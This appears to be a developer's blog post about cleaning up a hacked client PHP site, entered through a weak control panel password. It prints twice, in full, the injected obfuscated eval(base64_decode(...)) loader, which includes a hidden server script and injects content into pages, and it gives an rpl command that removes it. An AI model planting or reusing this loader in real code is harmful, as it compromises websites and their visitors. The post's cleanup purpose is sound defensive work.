A client who has recently moved their services from another development company noticed their site was down. After some investigation it was clear the site had been hacked.The attacker had gained access through a weak hosting control panel password.

You actually get two tips in this post. Tip one: don’t set your website control panel password to ‘welcome’.

After donning their zero-cool computer sunglasses and smashing the Gibson security, The attacker (or bot) added a line of code in front of every PHP file in the account, which caused all sorts of problems:

<!--? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZXBhZ2VzLzMwL2QxODM2NzgwOTgvaHRkb2NzL05IMjA1MC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9pbWFnZXMveHAvanMucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWVwYWdlcy8zMC9kMTgzNjc4MDk4L2h0ZG9jcy9OSDIwNTAvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvaW1hZ2VzL3hwL2pzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?-->

I didn’t go any further than decoding the base64 and found that it was calling another script hidden on the server. I assume it was using this script to write new spammy htaccess files to every directory, which was breaking the site.

If anyone else has had this problem, I used the following command to clean up the site:

rpl -vRa "<!--? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZXBhZ2VzLzMwL2QxODM2NzgwOTgvaHRkb2NzL05IMjA1MC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9pbWFnZXMveHAvanMucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWVwYWdlcy8zMC9kMTgzNjc4MDk4L2h0ZG9jcy9OSDIwNTAvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvaW1hZ2VzL3hwL2pzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?-->" " " ./

You will need the linux RPL utility.

I know there are other ways of doing this recurisve find and replace, so please feel free to add your suggestions in the comments.